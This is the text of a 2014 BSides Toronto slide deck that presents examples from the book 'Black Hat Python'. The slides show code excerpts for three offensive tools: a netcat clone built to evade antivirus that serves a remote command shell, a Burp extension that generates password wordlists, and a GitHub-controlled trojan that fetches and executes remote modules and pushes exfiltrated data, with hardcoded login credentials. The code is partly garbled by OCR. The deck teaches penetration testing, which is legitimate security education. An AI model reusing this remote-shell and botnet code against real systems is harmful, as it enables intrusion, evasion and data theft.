Black Hat Python

Bsides TO 2014

Dan Frisch

It Begins

yo yo yo yo

yo

Big news man. Im writing another book

cool!

Wanna be a tech reviewer?

wtf is that?

It's where you read the book, fix all my code and don't get paid

yolo!

Two years later

ok we r done

thank sweet jesus



Python Programming for Hackers and Pentesters



Justin Seitz



Why Python?

- Really powerful
- Rapid tool development
- Cross-platform
 - Py2exe > Turn a script into an executable
 - Jython > Run Python scripts inside Java
- Wide adoption by the security community (all the cool kids are using it)

Scenario #1

Netcat is useful, but...



SHA256:

be4211fe5c1a19ff393a2bcfa21dad8d0a687663263a63789552bda446d9421b

File name:

nc.exe

Detection ratio:

29 / 53

Analysis date:

2014-11-03 18:58:58 UTC (17 hours, 14 minutes ago)



File detail

Relationships

Additional information

Comments

10+

₩ Votes

Antivirus

Result

AVG

Tool.HJ

AVware

Trojan.Win32.Generic!BT

Idea:

- Replicate netcat functionality
- Avoid anti-virus

Server:

- Setup listener
- Handle client connections
 - Receive uploaded file
 - Run a command and return result
 - Interactive shell

Client:

- Connect to server
- Send a command or file
- Receive & print response
- Repeat

```
₱ bhpnet.py ×

118 def server loop():
       global target
119
120
121
       if not len(target):
122
            target = "0.0.0.0"
123
       server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
124
125
       server.bind((target,port))
126
127
       server.listen(5)
128
       while True:
129
130
            client socket,addr = server.accept()
131
            client_thread = threading.Thread(target=client_handler,
132
                                                 args=(client_socket,))
133
134
            client thread.start()
```

```
bhpnet.py ×
150 def client_handler(client_socket):
151
152
       # ...Snip... #
153
154
       # another loop if command shell requested
155
       if command:
156
           while True
                client socket.send("<BHP:#> ")
157
158
159
                cmd buffer =
                while "\n" not in cmd_buffer:
160
                    cmd_buffer += client_socket.recv(1024
161
162
                print "[*] Recv'd command: %s" % cmd_buffer
163
164
                response = run_command(cmd_buffer)
165
166
                client_socket.send(response)
```

```
₱ bhpnet.py ×

136 def run_command(command):
137
138
       command = command.rstrip()
139
       print "[*] Processing command: %s" % command
140
       try:
141
            output = subprocess.check_output(command,
142
                                          stderr=subprocess.STD0UT
143
                                          shell=True)
144
145
       except Exception as err:
146
            output = "Failed to execute command.\r\n"
147
148
149
        return output
```

(bhpnet.avi)

Scenario #2

• Burp is awesome. Using Python, we can make it awesomer.

Idea:

• Turn a set of web requests into a password list

Extension:

- Plumbing for Burp Extension
- Helper class to strip HTML tags out of content
- Get the words, mangle them and output to a file or console

Other stuff:

- Load jython-standalone-2.7-b2.jar into Burp Suite (Extender > Options > Python Environment)
- Run Burp under Java 7 or higher (Kali defaults to Java 6)

```
If rom burp import IBurpExtender
2 from burp import IContextMenuFactory
3
4 from javax.swing import JMenuItem
5 from java.util import List, ArrayList
6 from java.net import URL
```

```
bhp_wordlist.py ×
  class BurpExtender(IBurpExtender, IContextMenuFactory):
      def registerExtenderCallbacks(self, callbacks):
28
29
          self. callbacks = callbacks
          self. helpers = callbacks.getHelpers()
30
31
          self.context = None
          self.hosts = set()
32
33
          # start with something we know is common
34
35
          self.wordlist = set(["password"])
36
37
          # we set up our extension
38
          callbacks.setExtensionName("BHP Wordlist")
39
          callbacks.registerContextMenuFactory(self)
40
41
          return
```

```
🚱 bhp_wordlist.pv 🗡
  class TagStripper(HTMLParser):
       uel ___illitt__(Sett).
           HTMLParser.__init__(self)
14
15
           self.page_text = []
16
17
       def handle data(self, data):
18
           self.page text.append(data)
19
20
       def handle comment(self, data):
21
           self.handle data(data)
       def strip(self, html):
           self.feed(html)
           return " ".join(self.page_text)
```

```
bhp_wordlist.py ×
91
       def mangle(self, word):
92
           year = datetime.now().year
93
           suffixes = ["", "1", "!", year]
94
           mangled = []
95
96
           for password in (word, word.capitalize()):
                for suffix in suffixes:
97
                    mangled.append("%s%s" % (password, suffix))
98
99
100
           return mangled
```

(burp.avi)

Scenario #3

• Git is great at managing code

Idea:

• Use Github.com to control a botnet (send commands & updates, receive data)

Trojan:

- Connect to GitHub
- Pull commands, Push exfiltrated data
- Modular config files & trojan tasks
- Hack Python's import functionality to run our modules

```
Is git_trojan.py *

11 from github3 import login
12
13 trojan_id = "abc"
14 trojan_config = "%s.json" % trojan_id
15 data_path = "data/%s/" % trojan_id
16 trojan_modules= []
```

```
6 git_trojan.py ×
51 def connect_to_github():
52     gh = login(username="3rdDegree",password="BsidesTOrocks!")
53     repo = gh.repository("3rdDegree","trojan_demo")
54     branch = repo.branch("master")
55
56     return gh,repo,branch
```

```
git_trojan.py ×
57 def get_file_contents(filepath):
58
59
      gh,repo,branch = connect to github()
60
      tree = branch.commit.commit.tree.recurse()
61
      for filename in tree.tree:
62
63
64
           if filepath in filename.path:
               print "[*] Found file %s" % filepath
65
66
67
               blob = repo.blob(filename._json_data['sha'])
68
69
               return blob.content
70
71
       return None
```

```
import os
def run(**args):

print "[*] In dirlister module."
files = os.listdir(".")

return str(files)
```

```
git_trojan.py ×
21 class GitImporter(object):
22
23
      def init (self):
24
25
           self.current module code =
26
27
28
      def find module(self, fullname, path=None):
29
30
           if configured.
               print "[*] Attempting to retrieve %s" % fullname
31
               new library = get file contents("modules/%s" % fullname)
32
33
               if new library is not None:
34
                   self.current module code = base64.b64decode(new library)
35
                   return self
36
37
           return None
38
39
       def load module(self, name):
41
42
           module = imp.new module(name)
           exec self.current module code in module. dict
43
           sys.modules[name] = module
           return module
```

(git_trojan.avi)

But wait, there's more!

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Win a Book

Thanks!

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Find me:

http://virusfactory.blogspot.ca

https://github.com/3rdDegree